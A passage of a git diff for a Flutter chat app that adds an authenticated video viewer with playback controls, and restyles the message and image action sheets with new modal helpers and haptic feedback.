+        child: Padding(
+          padding: const EdgeInsets.symmetric(horizontal: Grid.xxs),
+          child: Row(
+            children: [
+              IconButton(
+                key: const ValueKey('message-media-video-viewer-play-pause'),
+                onPressed: () {
+                  if (value.isPlaying) {
+                    controller.pause();
+                  } else {
+                    controller.play();
+                  }
+                },
+                tooltip: value.isPlaying ? 'Pause video' : 'Play video',
+                icon: Icon(
+                  value.isPlaying ? LucideIcons.pause : LucideIcons.play,
+                  color: Colors.white,
+                ),
+              ),
+              Text(
+                _formatVideoDuration(Duration(milliseconds: positionMs)),
+                style: context.textTheme.labelSmall?.copyWith(
+                  color: Colors.white,
+                  fontFeatures: const [FontFeature.tabularFigures()],
+                ),
+              ),
+              Expanded(
+                child: SliderTheme(
+                  data: SliderTheme.of(context).copyWith(
+                    activeTrackColor: Colors.white,
+                    inactiveTrackColor: Colors.white.withValues(alpha: 0.28),
+                    thumbColor: Colors.white,
+                    overlayColor: Colors.white.withValues(alpha: 0.12),
+                    trackHeight: 3,
+                    thumbShape: const RoundSliderThumbShape(
+                      enabledThumbRadius: 5,
+                    ),
+                  ),
+                  child: Slider(
+                    value: hasDuration ? positionMs.toDouble() : 0,
+                    min: 0,
+                    max: hasDuration ? durationMs.toDouble() : 1,
+                    onChanged: hasDuration
+                        ? (next) => controller.seekTo(
+                            Duration(milliseconds: next.round()),
+                          )
+                        : null,
+                  ),
+                ),
+              ),
+              Text(
+                _formatVideoDuration(value.duration),
+                style: context.textTheme.labelSmall?.copyWith(
+                  color: Colors.white.withValues(alpha: 0.78),
+                  fontFeatures: const [FontFeature.tabularFigures()],
+                ),
+              ),
+              const SizedBox(width: Grid.xxs),
+            ],
+          ),
+        ),
+      ),
+    );
+  }
+}
+
+String _formatVideoDuration(Duration duration) {
+  final totalSeconds = duration.inSeconds.clamp(0, 359999);
+  final hours = totalSeconds ~/ 3600;
+  final minutes = (totalSeconds % 3600) ~/ 60;
+  final seconds = totalSeconds % 60;
+  final paddedSeconds = seconds.toString().padLeft(2, '0');
+  if (hours > 0) {
+    return '$hours:${minutes.toString().padLeft(2, '0')}:$paddedSeconds';
+  }
+  return '$minutes:$paddedSeconds';
+}
diff --git a/mobile/lib/features/channels/media_viewer_page/video_viewer.dart b/mobile/lib/features/channels/media_viewer_page/video_viewer.dart
new file mode 100644
index 0000000000..dc4a82b506
--- /dev/null
+++ b/mobile/lib/features/channels/media_viewer_page/video_viewer.dart
@@ -0,0 +1,385 @@
+part of '../media_viewer_page.dart';
+
+class MediaVideoViewerPage extends HookConsumerWidget {
+  final String videoUrl;
+  final String? posterUrl;
+  final VoidCallback? onReply;
+
+  static const _dismissThreshold = 100.0;
+  static const _dismissVelocity = 700.0;
+  static const _backgroundFadeDivisor = 300.0;
+
+  const MediaVideoViewerPage({
+    super.key,
+    required this.videoUrl,
+    this.posterUrl,
+    this.onReply,
+  });
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final controller = useState<VideoPlayerController?>(null);
+    final videoFile = useRef<File?>(null);
+    final downloadRequestAbort = useRef<Completer<void>?>(null);
+    final downloadSubscription = useRef<StreamSubscription<List<int>>?>(null);
+    final downloadSink = useRef<IOSink?>(null);
+    final initializeFuture = useState<Future<void>?>(null);
+    final error = useState<String?>(null);
+    final dragOffset = useState(0.0);
+    final isDragging = useState(false);
+    final snapBackController = useAnimationController(
+      duration: const Duration(milliseconds: 200),
+    );
+
+    Future<void> deleteVideoFile() async {
+      final file = videoFile.value;
+      videoFile.value = null;
+      if (file == null) return;
+      try {
+        if (await file.exists()) await file.delete();
+      } on FileSystemException {
+        // Temporary storage cleanup should not make closing the viewer fail.
+      }
+    }
+
+    useEffect(() {
+      var disposed = false;
+      Future<void> initializeVideo() async {
+        final auth = ref.read(mediaGetAuthServiceProvider);
+        final uri = Uri.parse(videoUrl);
+
+        // ExoPlayer supports the request headers on every range request, so
+        // keep Android on its streaming path. iOS uses the authenticated local
+        // copy below because AVPlayer can drop those headers after the first
+        // request.
+        if (Platform.isAndroid) {
+          VideoPlayerController? streamingController;
+          try {
+            streamingController = VideoPlayerController.networkUrl(
+              uri,
+              httpHeaders: auth.headersFor(videoUrl),
+            );
+            await streamingController.initialize();
+            await streamingController.play();
+            if (disposed) {
+              await streamingController.dispose();
+              return;
+            }
+            controller.value = streamingController;
+            return;
+          } catch (_) {
+            if (streamingController != null) {
+              await streamingController.dispose();
+            }
+            // Fall through to the authenticated local-file path only when the
+            // streaming controller cannot initialize.
+          }
+        }
+
+        try {
+          final client = ref.read(mediaHttpClientProvider);
+          final requestAbort = Completer<void>();
+          downloadRequestAbort.value = requestAbort;
+          final request = http.AbortableStreamedRequest(
+            'GET',
+            uri,
+            abortTrigger: requestAbort.future,
+          )..headers.addAll(auth.headersFor(videoUrl));
+          late final http.StreamedResponse response;
+          try {
+            response = await client.send(request);
+          } finally {
+            if (downloadRequestAbort.value == requestAbort) {
+              downloadRequestAbort.value = null;
+            }
+          }
+          if (disposed) {
+            await _cancelVideoResponse(response);
+            return;
+          }
+          if (response.statusCode < 200 || response.statusCode >= 300) {
+            await response.stream.drain<void>();
+            throw HttpException(
+              'Video download failed (${response.statusCode})',
+              uri: uri,
+            );
+          }
+
+          final responseSubscription = response.stream.listen(null)..pause();
+          downloadSubscription.value = responseSubscription;
+          final directory = await getTemporaryDirectory();
+          if (disposed) {
+            await responseSubscription.cancel();
+            if (downloadSubscription.value == responseSubscription) {
+              downloadSubscription.value = null;
+            }
+            return;
+          }
+          final file = File(
+            '${directory.path}${Platform.pathSeparator}'
+            'buzz-video-${DateTime.now().microsecondsSinceEpoch}'
+            '${_videoFileExtension(uri)}',
+          );
+          videoFile.value = file;
+          final sink = file.openWrite();
+          downloadSink.value = sink;
+          final completed = Completer<void>();
+          responseSubscription
+            ..onData(sink.add)
+            ..onError((Object error, StackTrace stackTrace) async {
+              await sink.close();
+              if (!completed.isCompleted) {
+                completed.completeError(error, stackTrace);
+              }
+            })
+            ..onDone(() async {
+              await sink.close();
+              if (!completed.isCompleted) completed.complete();
+            })
+            ..resume();
+          await completed.future;
+          downloadSubscription.value = null;
+          downloadSink.value = null;
+          if (disposed) {
+            await deleteVideoFile();
+            return;
+          }
+
+          final localController = VideoPlayerController.file(file);
+          await localController.initialize();
+          await localController.play();
+          if (disposed) {
+            await localController.dispose();
+            await deleteVideoFile();
+            return;
+          }
+          controller.value = localController;
+        } catch (loadError) {
+          if (!disposed) error.value = loadError.toString();
+        }
+      }
+
+      initializeFuture.value = initializeVideo();
+      return () {
+        disposed = true;
+        final activeRequestAbort = downloadRequestAbort.value;
+        if (activeRequestAbort != null && !activeRequestAbort.isCompleted) {
+          activeRequestAbort.complete();
+        }
+        unawaited(downloadSubscription.value?.cancel() ?? Future.value());
+        unawaited(downloadSink.value?.close() ?? Future.value());
+        final activeController = controller.value;
+        if (activeController != null) unawaited(activeController.dispose());
+        unawaited(deleteVideoFile());
+      };
+    }, [videoUrl]);
+
+    void animateSnapBack() {
+      isDragging.value = false;
+      if (MediaQuery.disableAnimationsOf(context)) {
+        dragOffset.value = 0;
+        return;
+      }
+      final tween = Tween<double>(begin: dragOffset.value, end: 0);
+      void listener() => dragOffset.value = tween.evaluate(snapBackController);
+      snapBackController
+        ..stop()
+        ..reset()
+        ..addListener(listener);
+      snapBackController
+          .animateWith(
+            SpringSimulation(
+              SpringDescription.withDurationAndBounce(
+                duration: const Duration(milliseconds: 260),
+                bounce: 0.14,
+              ),
+              0,
+              1,
+              0,
+              snapToEnd: true,
+            ),
+          )
+          .whenCompleteOrCancel(
+            () => snapBackController.removeListener(listener),
+          );
+    }
+
+    Future<void> replyInThread() async {
+      final callback = onReply;
+      if (callback == null) return;
+      final route = ModalRoute.of(context);
+      controller.value?.pause();
+      await Navigator.of(context).maybePop();
+      await route?.completed;
+      callback();
+    }
+
+    final viewportHeight = MediaQuery.sizeOf(context).height;
+    final dragProgress = (dragOffset.value / viewportHeight).clamp(0.0, 1.0);
+    final videoScale = 1 - (dragProgress * 0.1);
+    final chromeOpacity = (1 - (dragOffset.value / 160)).clamp(0.0, 1.0);
+    return Scaffold(
+      key: const ValueKey('message-media-video-viewer'),
+      backgroundColor: Colors.black.withValues(
+        alpha: (1 - (dragOffset.value / _backgroundFadeDivisor)).clamp(
+          0.3,
+          1.0,
+        ),
+      ),
+      body: Stack(
+        children: [
+          Positioned.fill(
+            child: Transform.translate(
+              offset: Offset(0, dragOffset.value),
+              child: Transform.scale(
+                scale: videoScale,
+                child: GestureDetector(
+                  key: const ValueKey('message-media-video-viewer-gesture'),
+                  behavior: HitTestBehavior.opaque,
+                  onVerticalDragStart: (_) {
+                    snapBackController.stop();
+                    isDragging.value = true;
+                  },
+                  onVerticalDragUpdate: (details) {
+                    if (!isDragging.value) return;
+                    dragOffset.value = (dragOffset.value + details.delta.dy)
+                        .clamp(0.0, viewportHeight)
+                        .toDouble();
+                  },
+                  onVerticalDragEnd: (details) {
+                    isDragging.value = false;
+                    final velocity = details.primaryVelocity ?? 0;
+                    if (dragOffset.value > _dismissThreshold ||
+                        velocity > _dismissVelocity) {
+                      controller.value?.pause();
+                      Navigator.of(context).maybePop();
+                      return;
+                    }
+                    animateSnapBack();
+                  },
+                  onVerticalDragCancel: animateSnapBack,
+                  child: SafeArea(
+                    child: Center(
+                      child: FutureBuilder<void>(
+                        future: initializeFuture.value,
+                        builder: (context, snapshot) {
+                          if (error.value != null || snapshot.hasError) {
+                            return const _MediaLoadFailure(
+                              message: 'Failed to load video',
+                              icon: LucideIcons.videoOff,
+                            );
+                          }
+
+                          final videoController = controller.value;
+                          if (videoController == null ||
+                              !videoController.value.isInitialized) {
+                            return _VideoLoadingPoster(posterUrl: posterUrl);
+                          }
+
+                          return AspectRatio(
+                            aspectRatio: videoController.value.aspectRatio,
+                            child: VideoPlayer(videoController),
+                          );
+                        },
+                      ),
+                    ),
+                  ),
+                ),
+              ),
+            ),
+          ),
+          PositionedDirectional(
+            top: Grid.sm,
+            end: Grid.sm,
+            child: Opacity(
+              opacity: chromeOpacity,
+              child: SafeArea(
+                child: _MediaViewerCircleButton(
+                  key: const ValueKey('message-media-video-viewer-close'),
+                  icon: LucideIcons.x,
+                  tooltip: 'Close video viewer',
+                  onPressed: () => Navigator.of(context).maybePop(),
+                ),
+              ),
+            ),
+          ),
+          PositionedDirectional(
+            bottom: 0,
+            start: 0,
+            end: 0,
+            child: Opacity(
+              opacity: chromeOpacity,
+              child: SafeArea(
+                child: _VideoViewerBottomControls(
+                  controller: controller.value,
+                  onReply: onReply == null
+                      ? null
+                      : () => unawaited(replyInThread()),
+                ),
+              ),
+            ),
+          ),
+        ],
+      ),
+    );
+  }
+}
+
+Future<void> _cancelVideoResponse(http.StreamedResponse response) {
+  return response.stream.listen((_) {}).cancel();
+}
+
+String _videoFileExtension(Uri uri) {
+  final path = uri.path;
+  final extensionStart = path.lastIndexOf('.');
+  if (extensionStart < 0 || extensionStart == path.length - 1) return '.mp4';
+  final extension = path.substring(extensionStart);
+  return RegExp(r'^\.[A-Za-z0-9]{1,10}$').hasMatch(extension)
+      ? extension
+      : '.mp4';
+}
+
+class _VideoLoadingPoster extends StatelessWidget {
+  final String? posterUrl;
+
+  const _VideoLoadingPoster({required this.posterUrl});
+
+  @override
+  Widget build(BuildContext context) {
+    return AspectRatio(
+      aspectRatio: 16 / 9,
+      child: Stack(
+        fit: StackFit.expand,
+        children: [
+          if (posterUrl != null)
+            MediaImage(
+              url: posterUrl!,
+              fit: BoxFit.cover,
+              errorBuilder: (_, _, _) => _videoPlaceholder(context),
+            )
+          else
+            _videoPlaceholder(context),
+          const ColoredBox(color: Color.fromRGBO(0, 0, 0, 0.24)),
+          const Center(
+            child: BuzzLoadingIndicator(
+              size: 44,
+              color: Colors.white,
+              semanticLabel: 'Loading video',
+            ),
+          ),
+        ],
+      ),
+    );
+  }
+
+  Widget _videoPlaceholder(BuildContext context) {
+    return ColoredBox(
+      color: context.colors.surfaceContainerHighest,
+      child: Icon(
+        LucideIcons.video,
+        size: 40,
+        color: context.colors.onSurfaceVariant,
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/members_sheet.dart b/mobile/lib/features/channels/members_sheet.dart
index e1c79164ee..24c80daa5f 100644
--- a/mobile/lib/features/channels/members_sheet.dart
+++ b/mobile/lib/features/channels/members_sheet.dart
@@ -6,6 +6,7 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 import '../../shared/theme/theme.dart';
 import '../../shared/widgets/avatar_image.dart';
 import '../../shared/widgets/buzz_loading_indicator.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../profile/user_cache_provider.dart';
 import '../profile/user_profile.dart';
 import '../profile/user_status.dart';
@@ -50,7 +51,7 @@ class MembersSheet extends HookConsumerWidget {
       navigator.pop();
       WidgetsBinding.instance.addPostFrameCallback((_) {
         if (!navigator.mounted) return;
-        showModalBottomSheet<void>(
+        showBuzzModalBottomSheet<void>(
           context: navigator.context,
           isScrollControlled: true,
           showDragHandle: true,
@@ -302,7 +303,7 @@ class _MemberTile extends ConsumerWidget {
               ? profile!.displayName!.trim()
               : member.labelFor(currentPubkey));
     final canChangeRole = showManagementActions && !member.isBot;
-    showModalBottomSheet<void>(
+    showBuzzModalBottomSheet<void>(
       context: context,
       showDragHandle: true,
       builder: (sheetContext) => SafeArea(
@@ -360,7 +361,7 @@ class _MemberTile extends ConsumerWidget {
                 ),
                 onTap: () async {
                   Navigator.of(context).pop();
-                  final confirmed = await showDialog<bool>(
+                  final confirmed = await showBuzzDialog<bool>(
                     context: context,
                     builder: (context) => AlertDialog(
                       title: const Text('Remove member'),
diff --git a/mobile/lib/features/channels/message_actions.dart b/mobile/lib/features/channels/message_actions.dart
index 519d25898c..0b5c568860 100644
--- a/mobile/lib/features/channels/message_actions.dart
+++ b/mobile/lib/features/channels/message_actions.dart
@@ -17,16 +17,18 @@ import '../../shared/theme/theme.dart';
 import '../../shared/custom_emoji/custom_emoji.dart';
 import '../../shared/custom_emoji/custom_emoji_provider.dart';
 import '../../shared/custom_emoji/custom_emoji_render.dart';
+import '../../shared/emoji/native_emoji_glyph.dart';
 import '../../shared/widgets/sheet_divider.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../../shared/reminders/remind_me_later_sheet.dart';
 import '../../shared/reminders/reminder_service.dart';
 import 'channel_management_provider.dart';
 import 'emoji_picker.dart';
 import 'reaction_row.dart';
 import 'recent_emoji_provider.dart';
-import 'read_state/message_read_state.dart';
-import 'read_state/read_state_format.dart';
-import 'read_state/read_state_provider.dart';
+import '../../shared/read_state/message_read_state.dart';
+import '../../shared/read_state/read_state_format.dart';
+import '../../shared/read_state/read_state_provider.dart';
 import 'thread_detail_page.dart';
 import 'thread_follows/thread_follows_provider.dart';
 import 'timeline_message.dart';
@@ -46,97 +48,104 @@ void showMessageActions({
   bool isMember = false,
   bool isArchived = false,
 }) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     isScrollControlled: true,
     showDragHandle: true,
+    showCloseButton: false,
     builder: (sheetContext) => SafeArea(
-      child: ConstrainedBox(
-        constraints: BoxConstraints(
-          maxHeight: MediaQuery.sizeOf(sheetContext).height * 0.7,
-        ),
-        child: SingleChildScrollView(
-          child: Padding(
-            padding: const EdgeInsets.fromLTRB(
-              Grid.gutter,
-              0,
-              Grid.gutter,
-              Grid.xs,
-            ),
-            child: Column(
-              mainAxisSize: MainAxisSize.min,
-              children: [
-                _QuickReactionRow(
-                  message: message,
-                  sheetContext: sheetContext,
-                  pageContext: context,
-                  pageRef: ref,
-                ),
-                const SizedBox(height: Grid.xs),
-                if (!message.isSystem) ...[
-                  // Fast actions: respond now, hand off context, defer.
-                  _FastActionsRow(
+      child: IconTheme.merge(
+        data: const IconThemeData(size: 22),
+        child: ConstrainedBox(
+          constraints: BoxConstraints(
+            maxHeight: MediaQuery.sizeOf(sheetContext).height * 0.7,
+          ),
+          child: SingleChildScrollView(
+            child: Padding(
+              padding: const EdgeInsets.fromLTRB(
+                Grid.gutter,
+                0,
+                Grid.gutter,
+                Grid.xs,
+              ),
+              child: Column(
+                mainAxisSize: MainAxisSize.min,
+                children: [
+                  _QuickReactionRow(
                     message: message,
-                    channelId: channelId,
-                    allMessages: allMessages,
-                    currentPubkey: currentPubkey,
-                    isMember: isMember,
-                    isArchived: isArchived,
+                    sheetContext: sheetContext,
                     pageContext: context,
+                    pageRef: ref,
                   ),
                   const SizedBox(height: Grid.xs),
-                  // Triage: come back to this message later.
-                  _MarkReadUnreadTile(message: message, channelId: channelId),
-                  _FollowThreadTile(message: message),
-                  const SheetDivider(),
-                  // Export: take the content out of the conversation.
-                  ListTile(
-                    leading: const Icon(LucideIcons.copy),
-                    title: const Text('Copy text'),
-                    onTap: () {
-                      Navigator.of(sheetContext).pop();
-                      // Copy to clipboard
-                      final data = ClipboardData(text: message.content);
-                      Clipboard.setData(data);
-                    },
-                  ),
-                ],
-                if (canManageMessage) ...[
-                  if (!message.isSystem) const SheetDivider(),
-                  ListTile(
-                    leading: const Icon(LucideIcons.pencil),
-                    title: const Text('Edit message'),
-                    onTap: () {
-                      Navigator.of(sheetContext).pop();
-                      _showEditSheet(
-                        context: context,
-                        ref: ref,
-                        message: message,
-                        channelId: channelId,
-                      );
-                    },
-                  ),
-                  ListTile(
-                    leading: Icon(
-                      LucideIcons.trash2,
-                      color: sheetContext.colors.error,
+                  if (!message.isSystem) ...[
+                    // Fast actions: respond now, hand off context, defer.
+                    _FastActionsRow(
+                      message: message,
+                      channelId: channelId,
+                      allMessages: allMessages,
+                      currentPubkey: currentPubkey,
+                      isMember: isMember,
+                      isArchived: isArchived,
+                      pageContext: context,
                     ),
-                    title: Text(
-                      'Delete message',
-                      style: TextStyle(color: sheetContext.colors.error),
+                    const SizedBox(height: Grid.xs),
+                    // Triage: come back to this message later.
+                    _MarkReadUnreadTile(message: message, channelId: channelId),
+                    _FollowThreadTile(message: message),
+                    const SheetDivider(),
+                    // Export: take the content out of the conversation.
+                    ListTile(
+                      contentPadding: EdgeInsets.zero,
+                      leading: const Icon(LucideIcons.copy),
+                      title: const Text('Copy text'),
+                      onTap: () {
+                        Navigator.of(sheetContext).pop();
+                        // Copy to clipboard
+                        final data = ClipboardData(text: message.content);
+                        Clipboard.setData(data);
+                      },
                     ),
-                    onTap: () {
-                      Navigator.of(sheetContext).pop();
-                      _confirmDelete(
-                        context: context,
-                        ref: ref,
-                        channelId: channelId,
-                        messageId: message.id,
-                      );
-                    },
-                  ),
+                  ],
+                  if (canManageMessage) ...[
+                    if (!message.isSystem) const SheetDivider(),
+                    ListTile(
+                      contentPadding: EdgeInsets.zero,
+                      leading: const Icon(LucideIcons.pencil),
+                      title: const Text('Edit message'),
+                      onTap: () {
+                        Navigator.of(sheetContext).pop();
+                        _showEditSheet(
+                          context: context,
+                          ref: ref,
+                          message: message,
+                          channelId: channelId,
+                        );
+                      },
+                    ),
+                    ListTile(
+                      contentPadding: EdgeInsets.zero,
+                      leading: Icon(
+                        LucideIcons.trash2,
+                        color: sheetContext.colors.error,
+                      ),
+                      title: Text(
+                        'Delete message',
+                        style: TextStyle(color: sheetContext.colors.error),
+                      ),
+                      onTap: () {
+                        Navigator.of(sheetContext).pop();
+                        _confirmDelete(
+                          context: context,
+                          ref: ref,
+                          channelId: channelId,
+                          messageId: message.id,
+                        );
+                      },
+                    ),
+                  ],
                 ],
-              ],
+              ),
             ),
           ),
         ),
@@ -155,78 +164,91 @@ void showImageActions({
   required bool canManageMessage,
   VoidCallback? onDeleted,
 }) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
+    isScrollControlled: true,
     showDragHandle: true,
     builder: (sheetContext) => SafeArea(
-      child: Padding(
-        padding: const EdgeInsets.fromLTRB(
-          Grid.gutter,
-          0,
-          Grid.gutter,
-          Grid.xs,
-        ),
-        child: Column(
-          mainAxisSize: MainAxisSize.min,
-          children: [
-            ListTile(
-              leading: const Icon(LucideIcons.download),
-              title: const Text('Save image'),
-              onTap: () {
-                Navigator.of(sheetContext).pop();
-                unawaited(_saveImage(context, ref, imageUrl));
-              },
-            ),
-            ListTile(
-              leading: const Icon(LucideIcons.share2),
-              title: const Text('Share image'),
-              onTap: () {
-                final renderBox = context.findRenderObject() as RenderBox?;
-                final shareOrigin = renderBox == null
-                    ? null
-                    : renderBox.localToGlobal(Offset.zero) & renderBox.size;
-                Navigator.of(sheetContext).pop();
-                unawaited(
-                  _shareImage(context, ref, imageUrl, shareOrigin: shareOrigin),
-                );
-              },
-            ),
-            ListTile(
-              leading: const Icon(LucideIcons.link2),
-              title: const Text('Copy image link'),
-              onTap: () {
-                Navigator.of(sheetContext).pop();
-                copyToClipboard(
-                  context,
-                  imageUrl,
-                  message: 'Image link copied',
-                );
-              },
-            ),
-            if (canManageMessage) ...[
-              const SheetDivider(),
+      child: IconTheme.merge(
+        data: const IconThemeData(size: 22),
+        child: Padding(
+          padding: const EdgeInsets.fromLTRB(
+            Grid.gutter,
+            0,
+            Grid.gutter,
+            Grid.xs,
+          ),
+          child: Column(
+            mainAxisSize: MainAxisSize.min,
+            children: [
               ListTile(
-                leading: Icon(
-                  LucideIcons.trash2,
-                  color: sheetContext.colors.error,
-                ),
-                title: Text(
-                  'Delete message',
-                  style: TextStyle(color: sheetContext.colors.error),
-                ),
+                contentPadding: EdgeInsets.zero,
+                leading: const Icon(LucideIcons.download),
+                title: const Text('Save image'),
                 onTap: () {
                   Navigator.of(sheetContext).pop();
-                  _confirmDelete(
-                    context: context,
-                    ref: ref,
-                    channelId: channelId,
-                    messageId: message.id,
-                    onDeleted: onDeleted,
+                  unawaited(_saveImage(context, ref, imageUrl));
+                },
+              ),
+              ListTile(
+                contentPadding: EdgeInsets.zero,
+                leading: const Icon(LucideIcons.share2),
+                title: const Text('Share image'),
+                onTap: () {
+                  final renderBox = context.findRenderObject() as RenderBox?;
+                  final shareOrigin = renderBox == null
+                      ? null
+                      : renderBox.localToGlobal(Offset.zero) & renderBox.size;
+                  Navigator.of(sheetContext).pop();
+                  unawaited(
+                    _shareImage(
+                      context,
+                      ref,
+                      imageUrl,
+                      shareOrigin: shareOrigin,
+                    ),
                   );
                 },
               ),
+              ListTile(
+                contentPadding: EdgeInsets.zero,
+                leading: const Icon(LucideIcons.link2),
+                title: const Text('Copy image link'),
+                onTap: () {
+                  Navigator.of(sheetContext).pop();
+                  copyToClipboard(
+                    context,
+                    imageUrl,
+                    message: 'Image link copied',
+                  );
+                },
+              ),
+              if (canManageMessage) ...[
+                const SheetDivider(),
+                ListTile(
+                  contentPadding: EdgeInsets.zero,
+                  leading: Icon(
+                    LucideIcons.trash2,
+                    color: sheetContext.colors.error,
+                  ),
+                  title: Text(
+                    'Delete message',
+                    style: TextStyle(color: sheetContext.colors.error),
+                  ),
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    _confirmDelete(
+                      context: context,
+                      ref: ref,
+                      channelId: channelId,
+                      messageId: message.id,
+                      onDeleted: onDeleted,
+                    );
+                  },
+                ),
+              ],
             ],
-          ],
+          ),
         ),
       ),
     ),
@@ -386,6 +408,7 @@ class _MarkReadUnreadTile extends ConsumerWidget {
     );
 
     return ListTile(
+      contentPadding: EdgeInsets.zero,
       leading: Icon(unread ? LucideIcons.mailCheck : LucideIcons.mailOpen),
       title: Text(unread ? 'Mark read' : 'Mark unread'),
       onTap: () {
@@ -427,6 +450,7 @@ class _FollowThreadTile extends ConsumerWidget {
     final following = follows.isFollowing(rootId);
 
     return ListTile(
+      contentPadding: EdgeInsets.zero,
       leading: Icon(following ? LucideIcons.bellOff : LucideIcons.bellRing),
       title: Text(following ? 'Unfollow thread' : 'Follow thread'),
       onTap: () {
@@ -532,8 +556,12 @@ class _FastActionsRow extends ConsumerWidget {
     ];
 
     return Row(
-      mainAxisAlignment: MainAxisAlignment.spaceEvenly,
-      children: tiles,
+      children: [
+        for (var index = 0; index < tiles.length; index++) ...[
+          Expanded(child: tiles[index]),
+          if (index < tiles.length - 1) const SizedBox(width: Grid.twelve),
+        ],
+      ],
     );
   }
 }
@@ -552,30 +580,37 @@ class _FastActionTile extends StatelessWidget {
   @override
   Widget build(BuildContext context) {
     return GestureDetector(
-      onTap: onTap,
+      onTap: () {
+        unawaited(HapticFeedback.lightImpact());
+        onTap();
+      },
       behavior: HitTestBehavior.opaque,
       child: Column(
         mainAxisSize: MainAxisSize.min,
+        crossAxisAlignment: CrossAxisAlignment.stretch,
         children: [
-          // Pill-shaped icon container with the caption below the fill,
-          // matching the emoji circles' fill and tap treatment.
+          // The full-width tiles deliberately contrast with the compact emoji
+          // reactions immediately above them.
           Container(
-            width: 76,
-            height: 56,
-            alignment: Alignment.center,
+            height: 68 + (Grid.xxs * 2),
             decoration: BoxDecoration(
               color: context.colors.surfaceContainerHighest,
               borderRadius: BorderRadius.circular(Radii.dialog),
             ),
-            child: Icon(icon, size: 24, color: context.colors.onSurface),
-          ),
-          const SizedBox(height: Grid.xxs),
-          Text(
-            label,
-            maxLines: 1,
-            overflow: TextOverflow.ellipsis,
-            style: context.textTheme.labelMedium?.copyWith(
-              color: context.colors.onSurface,
+            child: Column(
+              mainAxisAlignment: MainAxisAlignment.center,
+              children: [
+                Icon(icon, size: 22, color: context.colors.onSurface),
+                const SizedBox(height: Grid.xxs),
+                Text(
+                  label,
+                  maxLines: 1,
+                  overflow: TextOverflow.ellipsis,
+                  style: context.textTheme.labelMedium?.copyWith(
+                    color: context.colors.onSurface,
+                  ),
+                ),
+              ],
             ),
           ),
         ],
@@ -635,32 +670,59 @@ class _QuickReactionRow extends ConsumerWidget {
       pageRef.read(channelActionsProvider).addReaction(message.id, value);
     }
 
-    return Row(
-      mainAxisAlignment: MainAxisAlignment.spaceEvenly,
-      children: [
-        for (final value in emoji)
+    return LayoutBuilder(
+      builder: (context, constraints) {
+        const desiredCircleSize = 52.0;
+        const minimumCircleSize = 44.0;
+        final itemCount = emoji.length + 1;
+        final gapCount = itemCount - 1;
+        final circleSize =
+            ((constraints.maxWidth - (Grid.twelve * gapCount)) / itemCount)
+                .clamp(minimumCircleSize, desiredCircleSize)
+                .toDouble();
+        final gap =
+            ((constraints.maxWidth - (circleSize * itemCount)) / gapCount)
+                .clamp(0.0, Grid.twelve)
+                .toDouble();
+        final circles = <Widget>[
+          for (final value in emoji)
+            _QuickReactionCircle(
+              key: ValueKey('quick-reaction-$value'),
+              size: circleSize,
+              onTap: () {
+                Navigator.of(sheetContext).pop();
+                react(value);
+              },
+              child: _QuickReactionGlyph(
+                value: value,
+                customByShortcode: customByShortcode,
+              ),
+            ),
           _QuickReactionCircle(
+            key: const ValueKey('quick-reaction-more'),
+            size: circleSize,
             onTap: () {
               Navigator.of(sheetContext).pop();
-              react(value);
+              showEmojiPicker(context: pageContext, onSelect: react);
             },
-            child: _QuickReactionGlyph(
-              value: value,
-              customByShortcode: customByShortcode,
+            child: Icon(
+              LucideIcons.plus,
+              size: 24,
+              color: context.colors.onSurfaceVariant,
             ),
           ),
-        _QuickReactionCircle(
-          onTap: () {
-            Navigator.of(sheetContext).pop();
-            showEmojiPicker(context: pageContext, onSelect: react);
-          },
-          child: Icon(
-            LucideIcons.plus,
-            size: 24,
-            color: context.colors.onSurfaceVariant,
-          ),
-        ),
-      ],
+        ];
+
+        return Row(
+          mainAxisAlignment: MainAxisAlignment.center,
+          children: [
+            for (var index = 0; index < circles.length; index++) ...[
+              circles[index],
+              if (index < circles.length - 1) SizedBox(width: gap),
+            ],
+          ],
+        );
+      },
     );
   }
 }
@@ -689,7 +751,7 @@ class _QuickReactionGlyph extends StatelessWidget {
         );
       }
     }
-    return Text(value, style: const TextStyle(fontSize: 24));
+    return NativeEmojiGlyph(emoji: value, size: 24);
   }
 }
 
@@ -698,16 +760,25 @@ class _QuickReactionGlyph extends StatelessWidget {
 class _QuickReactionCircle extends StatelessWidget {
   final VoidCallback onTap;
   final Widget child;
+  final double size;
 
-  const _QuickReactionCircle({required this.onTap, required this.child});
+  const _QuickReactionCircle({
+    super.key,
+    required this.onTap,
+    required this.child,
+    required this.size,
+  });
 
   @override
   Widget build(BuildContext context) {
     return GestureDetector(
-      onTap: onTap,
+      onTap: () {
+        unawaited(HapticFeedback.lightImpact());
+        onTap();
+      },
       child: Container(
-        width: 52,
-        height: 52,
+        width: size,
+        height: size,
         alignment: Alignment.center,
         decoration: BoxDecoration(
           color: context.colors.surfaceContainerHighest,
@@ -726,7 +797,7 @@ void _showEditSheet({
   required String channelId,
 }) {
   final controller = TextEditingController(text: message.content);
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     isScrollControlled: true,
     showDragHandle: true,
@@ -793,7 +864,7 @@ void _confirmDelete({
   required String messageId,
   VoidCallback? onDeleted,
 }) {
-  showDialog<void>(
+  showBuzzDialog<void>(
     context: context,
     builder: (dialogContext) => AlertDialog(
       title: const Text('Delete message'),
diff --git a/mobile/lib/features/channels/message_content.dart b/mobile/lib/features/channels/message_content.dart
index 465585d966..e2c86b2fb0 100644
--- a/mobile/lib/features/channels/message_content.dart
+++ b/mobile/lib/features/channels/message_content.dart
@@ -3,6 +3,7 @@ import 'dart:io';
 import 'dart:math' as math;
 
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:gpt_markdown/gpt_markdown.dart';
@@ -11,6 +12,7 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 import 'package:open_filex/open_filex.dart';
 import 'package:path_provider/path_provider.dart';
 import 'package:url_launcher/url_launcher.dart';
+import 'package:video_player/video_player.dart';
 
